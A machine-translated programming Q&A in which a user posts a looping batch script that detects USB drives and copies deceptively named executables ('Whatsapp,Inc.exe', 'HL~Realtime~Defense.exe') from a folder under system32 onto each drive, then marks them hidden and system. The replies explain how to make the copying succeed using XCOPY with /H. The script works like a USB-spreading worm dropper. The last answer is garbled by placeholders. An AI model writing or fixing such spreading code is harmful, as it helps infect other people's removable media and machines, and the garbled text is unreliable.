我一直在努力解决这个问题。我有一个批处理文件,当它启动时,搜索任何USB驱动器,如果找到一个,它会搜索一些文件并将它们复制到USB。但是在这种情况下,它对我不起作用。
请注意我复制的文件有+ H和+ S属性,我希望不会有所作为。
以下是批处理文件的代码:
@echo off
:loop
set INTERVAL=5
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
for %%c in (%%b) do (
for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
if %%d equ Removable (
echo %%c is Removable
cd %SYSTEMROOT%\system32\SystemSettingsUpdate
copy "Whatsapp,Inc.exe" "%%c"
copy "Configure.exe" "%%c"
copy "HL~Realtime~Defense.exe" "%%c"
ATTRIB +H -R +S %%cConfigure.exe
ATTRIB +H -R +S %%cHL~Realtime~Defense.exe
timeout /nobreak /t 59
goto :loop
)
)
)
)
请注意,%%c
是USB驱动器的字母。
所以现在发生的事情是,当我启动它时,它会给我一个错误,它无法找到我指定的文件。
然而,我仔细检查了位置,文件存在。
为什么要找到找不到文件的错误消息?
答案 0 :(得分:1)
复制不会复制具有系统或隐藏属性集的文件。请使用带参数/ H的xcopy。
答案 1 :(得分:1)
COPY 不会复制具有系统或隐藏属性设置的文件,如以下批处理代码所示:
@echo off
cls
pushd "%TEMP%"
md TestTarget 2>nul
echo Just a copy/xcopy test for hidden and system files.>TestFile.tmp
attrib +h TestFile.tmp
echo TRY TO COPY HIDDEN FILE ...
echo.
echo copy TestFile.tmp TestTarget\
copy TestFile.tmp TestTarget\
echo.
echo.
echo TRY TO XCOPY HIDDEN FILE ...
echo.
echo xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
echo.
pause
cls
attrib -h +s TestFile.tmp
echo TRY TO COPY SYSTEM FILE ...
echo.
echo copy TestFile.tmp TestTarget\
copy TestFile.tmp TestTarget\
echo.
echo.
echo TRY TO XCOPY SYSTEM FILE ...
echo.
echo xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
echo.
pause
cls
attrib +h +s TestFile.tmp
echo TRY TO COPY HIDDEN SYSTEM FILE ...
echo.
echo copy TestFile.tmp TestTarget\
copy TestFile.tmp TestTarget\
echo.
echo.
echo TRY TO XCOPY HIDDEN SYSTEM FILE ...
echo.
echo xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
echo.
del /A TestFile.tmp
rd /Q /S TestTarget
popd
pause
复制隐藏系统文件的一个解决方案是使用带参数/H
的命令 XCOPY 。
但是使用 XCOPY 复制单个文件有点棘手。
使用 XCOPY 将单个文件复制到具有新文件名的现有目录会导致提示目标是文件还是目录。对于此任务,可以使用选项/I
来避免提示,并确保目标规范以反斜杠结尾,因此被解释为目录路径。有关 XCOPY 以及文件或目录提示的详细信息,请参阅BATCH file asks for file or folder上的答案。
此外,需要使用参数/Y
来避免覆盖目标目录中与当前源文件同名的现有文件。
如果文件已存在于目标目录中但隐藏了属性集,则 XCOPY 会输出拒绝访问错误消息。对于这种情况,使用标志/R
(由演示批处理文件完成的第二个副本)复制成功。
参数/Q
也应该用于复制文件而不显示其名称。
最后,如果成功消息应该被抑制,那么在每行末尾使用>nul
并使用 XCOPY 会很好,这对我们想要查看的演示批处理代码没有做绝对是这里的成功信息。
/K
的XCOPY 会自动删除只读属性。
答案 2 :(得分:0)
列出USB驱动器的更好方法
copy
并且像 @Mofi 所说使用{{1}}代替{{1}}